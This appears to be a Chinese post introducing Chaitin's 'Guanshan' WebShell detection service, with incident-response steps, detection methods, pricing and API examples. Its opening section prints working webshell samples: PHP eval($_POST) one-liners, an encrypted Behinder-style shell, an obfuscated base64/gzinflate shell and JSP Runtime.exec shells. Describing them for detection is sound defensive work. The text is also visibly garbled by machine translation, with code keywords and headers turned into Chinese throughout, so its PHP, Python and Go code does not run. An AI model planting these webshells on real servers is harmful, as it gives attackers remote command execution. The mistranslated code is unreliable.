发布于周五 14:515天前 ## 什么是WebShell\r \r 顾名思义,“WebShell”是黑客用来控制网站服务器的文件。通常以`php`、`jsp`、`asp`、`asp.net`等载体形式存在于服务器的网站目录中。 \r \r ### 通用WebShell\r \r 以下是一些常见的“WebShell”示例:\r \r PHP一句话木马\r ```php=\r ?php\r eval($_POST[\'pass\']);\r ?\r ````\r \r 冰蝎子PHP WebShell\r ```php=\r ?php\r 会话开始();\r if (isset($_GET['pass'])) {\r $key=substr(md5(uniqid(rand())),16);\r $_SESSION['k']=$key;\r 打印$key;\r } 否则{\r $key=$_SESSION['k'];\r $post=file_get_contents(\'php://输入\');\r if(!extension_loaded('openssl')) {\r $t=\'base64_\'.\'解码\';\r $post=$t($post.\'\');\r for($i=0; $i strlen($post); $i++) {\r $post[$i]=$post[$i]^$key[$i+115]; \r }\r } 否则{\r $post=openssl_decrypt($post, \'AES128\', $key);\r }\r $arr=爆炸('|',$post);\r $func=$arr[0];\r $params=$arr[1];\r 类C{公共函数__construct($p) {eval($p.\'\');}}\r @new C($params);\r }\r ?\r ````\r \r 具有混淆功能的PHP WebShell\r ```php=\r ?php 函数iJG($BHM) { \r $BHM=gzinflate(base64_decode($BHM));\r 为($i=0;$i $BHM[$i]=chr(ord($BHM[$i])-1);\r }\r 返回$BHM;\r } eval(iJG(\'U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A\'));\r ````\r \r JSP一句话木马\r ```jsp=\r %Runtime.getRuntime().exec(request.getParameter(\'pass\'));%\r ````\r \r 返回显式JSP WebShell\r ```jsp=\r %\r java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter(\'pass\')).getInputStream();\r int a=-1;\r 字节[] b=新字节[2048];\r 输出.print(\'\');\r while((a=in.read(b))!=-1){\r out.println(new String(b));\r }\r 输出.print(\'\');\r %\r ````\r ### 处置计划建议\r \r WebShell的发生是一起非常严重的安全事件,这意味着网站已经被攻破,攻击者已经进入了企业内网。管理员可以按照以下流程进行故障排除:\r \r 1、与网站管理员和主机管理员确认该文件是否为正常业务文件以及当前事件是否为误报\r 2.事件确认后,如果业务允许,必须立即隔离当前主机\r 3、进行攻击溯源,修复导致WebShell\r的相关漏洞 4.删除现有的WebShell\r 5.对当前主机进行全面检查,确保现有后门全部被清除\r 6.安排主机重新上线\r \r \r ## 在线WebShell检测\r \r 百川云平台WebShell检测系统是聊聊科技提供的“WebShell”在线检测引擎。是茶听牧云主机安全管理平台底层文件检测引擎“关山”的集成项目。 \r \r ###检测引擎原理说明\r \r 长汀百川的`WebShell`检测引擎支持`php`和`jsp`两种文件类型的检测,主要依赖于以下核心技术: \r \r - 静态文本特征检测\r 通过大量文本特征对脚本内容进行快速模式匹配,可以覆盖特征明显的WebShell。 \r - 骨架哈希检测\r 通过词法分析、语法分析等算法解析脚本文件,构建抽象语法树,并对AST的关键语法特征进行哈希处理,可对抗隐藏文本特征的WebShell反病毒解决方案。 \r - 静态语义分析检测\r 对脚本内容进行静态语义分析,通过恶意评分模型对文件内容进行评估,确定恶意程度较高的语义行为,可用于对抗自主开发的WebShell和不具有公开特征的WebShell。 \r - 动态污点跟踪检测\r 将脚本内容编译为虚拟机字节码,模拟字节码的执行,通过污点跟踪算法分析程序外部输入与敏感函数调用之间的关系,最终判断外部输入是否有可能通过脚本传入敏感函数,可用于对抗高度混乱、高度变形的WebShell。 \r - 动态仪器内存检测\r 注入Java进程,转储关键内存数据,配合静态语义分析算法检测动态注入的恶意脚本(内存WebShell)。 \r \r \r ### 版本介绍\r \r 百川云平台的WebShell检测系统目前提供“基础版”和“高级版”两个版本。 \r \r -“基础版”主要面向个人用户,可在长汀百川平台在线免费开通。 \r - “高级版”主要面向企业用户。激活“基础版”后,您可以在线提交工单申请。 \r \r “基础版”和“高级版”的功能对比如下:\r \r | - |基础版|高级版|\r | ------------------- | ----------- | -------- |\r | PHP WebShell 检测|支持|支持|\r | JSP WebShell检测|/|支持|\r | API调用检测接口|/|支持|\r |批量检测|/|支持|\r |异步检测|/|支持|\r |测试次数| 100 次/天|无限|\r |检测速度|限速|无限速度|\r |更多高级功能|敬请关注|敬请关注|\r \r \r ### 使用说明\r \r 点击右上角“启动检测”按钮,选择需要检测的WebShell类型,选择需要检测的文件,输入文件标签即可启动对文件的检测,如图:\r \r “标签”的目的是为了让用户更方便地在众多的测试记录中搜索到自己想要的结果。 \r \r \r \r 如果检测到某个文件存在风险,则会在“检测记录”页面生成相应的文件事件,如图:\r \r \r \r 点击对应事件的“详细信息”按钮,可以查看检测结果的详细信息,如图:\r \r \r \r \r ### 风险级别描述\r \r 百川云平台的WebShell检测系统支持对Web脚本的精细化检测,将Web脚本分为0-20共21个风险级别。参考如下:\r \r |风险等级|风险描述|处置建议|\r | -------- | ---------| --------------------------------------- |\r | 0 |无风险|可直接作为正常商业文件处理|\r | 1 ~ 9 |低风险|存在敏感行为,但不会直接造成风险|\r | 10 ~ 14 |中等风险|存在可能导致风险的敏感行为|\r | 15 ~ 19 |高风险|具有绕过特征或易受攻击的业务脚本的WebShell |\r | 20 |严重风险|真正的WebShell |\r \r ## 自动调用\r \r ### API 令牌\r \r WebShell检测接口在使用时有认证限制,非授权用户无法直接使用。 \r \r 平台提供两种身份验证方式:\r \r - 基于“Cookie 会话”的身份验证\r - 基于“HTTP API 令牌”的身份验证\r \r 成功登录浏览器首页后,提取Cookie 中的heap-session-id 即可获取授权身份。 \r \r 不过这种方法操作起来有点麻烦,而且`Session`只有24小时有效,所以不推荐。 \r \r 还可以通过“HTTP API Token”进行快速身份验证。 \r \r 可以通过以下步骤创建“HTTP API 令牌”:\r \r 1.进入`组织管理`页面\r 2. 进入`API Token` 子菜单\r 3. 单击左上角的“生成API 令牌”按钮\r 4.【重要】填写API相关信息并设置`WebShell`检测权限\r 5. 单击“生成API 令牌”\r 6、在`HTTP`的`X-Ca-Token`请求头中写入`API Token`即可生效\r \r \r \r \r \r \r \r \r \r ### API接口\r \r WebShell检测到的接口地址为:\r ````\r https://guanshan.rivers.chaitin.cn/api/v1/detect\r ````\r \r 调用WebShell检测接口使用`HTTP Multipart/form-data`请求格式,包含4个参数\r \r \r |参数名称|参数说明|参数位置|格式|\r | ------------- | ------------------ |--------------------- | --------------- |\r | `X-Ca-令牌` |用于身份验证的API Token | HTTP 标头|字符串|\r | `文件` |需要上传检测的文件|发布正文|文件对象|\r | `类型` |文件类型|发布正文|字符串|\r | `标签` |文件标签|发布正文| json 字符串列表|\r \r \r 最终发送的HTTP 请求的示例如下: \r \r ``=\r POST /api/v1/检测HTTP/1.1\r 主机: 127.0.0.1:9999\r 用户代理: Go-http-client/1.1\r 内容长度: 519\r Content-Type: 多部分/表单数据;边界=07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2\r X-Ca-Token: API_TOKEN\r 接受-Encoding: gzip\r \r --07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2\r Content-Disposition: 表单数据; name='文件';文件名=\'/tmp/webshell.php\'\r Content-Type: 应用程序/八位字节流\r \r ?php eval($_POST[x]);\r \r --07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2\r Content-Disposition: 表单数据;名称=\'标签\'\r \r [\'测试\',\'webshell\']\r --07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2\r Content-Disposition: 表单数据;名称=\'类型\'\r \r php\r --07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2--\r ````\r \r 接口调用成功后,服务器会以JSON 格式响应请求。响应内容请参见下表:\r \r |参数名称|参数说明|格式|\r | ------------------ | -------------------- |-------------- |\r | `代码` |检测状态,0代表成功|编号|\r | `消息` |检测异常时的错误消息|字符串|\r | `数据` | WebShell检测结果| JSON 对象|\r | `数据.id` |随机生成检测事件ID |字符串|\r | `数据类型` | WebShell 文件类型|字符串|\r | `数据.原因` |检测原理说明|降价字符串|\r | `data.risk_level` | WebShell 风险级别|数字|\r | `数据.引擎` |内部参数,可以忽略|字符串|\r \r 服务器响应示例如下:\r \r ```json=\r {\r \'代码\': 0,\r \'消息\': \'\',\r '数据': {\r \'risk_level\': 20,\r \'id\': \'bd0c23ef-c6c5-4a08-b99e-3724b1fa9ec4\',\r \'类型\': \'php_webshell\',\r \'原因\': \'```php\ \\u003c?php eval($_POST[x]);\ \ ```\',\r \'发动机\':\'关山\'\r }\r }\r ````\r \r \r ### 使用演示\r \r 使用`curl`调用请参考以下代码\r \r ``bash=\r curl -k 'https://guanshan.rivers.chaitin.cn/api/v1/detect' \\\r -H 'X-Ca-Token: API_TOKEN'\\\r -F '类型=php'\\\r -F 'tag=[\'测试\',\'webshell\']'\\\r -F '文件=@./webshell.php'\r ````\r \r 使用`Python`调用可以参考以下代码\r \r ```python=\r 导入请求\r 导入json\r \r 令牌=\'API_TOKEN\'\r url=\'https://guanshan.rivers.chaitin.cn/api/v1/detect\'\r \r def 检测(路径,标签):\r 请求=requests.post(\r 网址,\r 数据={\r \'标签\': json.dumps(标签),\r \'类型\': \'php\'\r },\r 文件={\r \'文件\': 打开(路径,'rb')\r },\r 标题={\r \'X-Ca-Token\': 令牌\r },\r 验证=假\r )\r 返回req.json()\r \r 结果=检测(\'./webshell.php\', [\'测试\', \'webshell\'])\r 打印(结果)\r ````\r \r \r 使用`Golang`调用可以参考以下代码\r \r ``去=\r 包主\r \r 导入(\r \'io\'\r \'操作系统\'\r \'fmt\'\r \'net/http\'\r \'io/ioutil\'\r \'加密/tls\'\r \'字节\'\r \'哑剧/多部分\'\r \'编码/json\'\r )\r \r const 令牌=\'API_TOKEN\'\r const url=\'https://guanshan.rivers.chaitin.cn/api/v1/detect\'\r \r func检测(路径字符串,标签[]字符串)(字符串,错误){\r 文件,错误:=os.Open(路径)\r 如果错误!=nil {\r 返回\'\',错误\r }\r 延迟文件.Close()\r \r buf :=new(字节.Buffer)\r 作家:=multipart.NewWriter(buf)\r \r 部分,错误:=writer.CreateFormFile(\'file\', path)\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r _, err=io.Copy(部分, 文件)\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r 雄鹿,错误:=json.Marshal(tags)\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r _=writer.WriteField(\'tag\', string(stags))\r _=writer.WriteField(\'类型\', \'php\')\r \r 错误=writer.Close()\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r tr :=http.Transport{\r TLSClientConfig: tls.Config{InsecureSkipVerify: true},\r }\r 客户端:=http.Client{Transport: tr}\r \r 请求,错误:=http.NewRequest(\'POST\', url, buf)\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r req.Header.Add(\'X-Ca-Token\', token)\r req.Header.Add(\'Content-Type\', writer.FormDataContentType())\r \r 分别,错误:=client.Do(req)\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r 推迟resp.Body.Close()\r \r 正文,错误:=ioutil.ReadAll(resp.Body)\r 如果错误!=nil {\r 返回\'\',错误\r }\r \r 返回字符串(正文),nil\r }\r \r 函数主() {\r fmt.Println(检测(\'/tmp/webshell.php\', []string{\'test\', \'webshell\'}))\r }\r ````\r \r ## 致谢\r \r 长亭科技从2017年开始投入“WebShell”检测引擎的研发,至今已经5年多了。尝试了文件智能、文本特征、机器学习、语义分析、污点追踪等多种技术方向,也尝试了开源项目、免费工具、企业级检测引擎、在线工具等多种项目形式,挖坑、踩坑。现在终于可以取得满意的成绩了。谢谢。 `Cyrus`、`araleiii`、`phith0n`、`maple`、`D_infinite` 等许多大佬都在研发过程中做出了贡献。感谢P大师将这个项目命名为“关山”。 \r \r 欢迎兄弟姐妹们前来尝试。欢迎甲方朋友使用本项目扫描自己的企业。欢迎乙方朋友将此项目融入到自己的项目中。业界同仁的信任一直是长汀‘WebShell’测试团队努力的动力。
创建帐户或登录后发表意见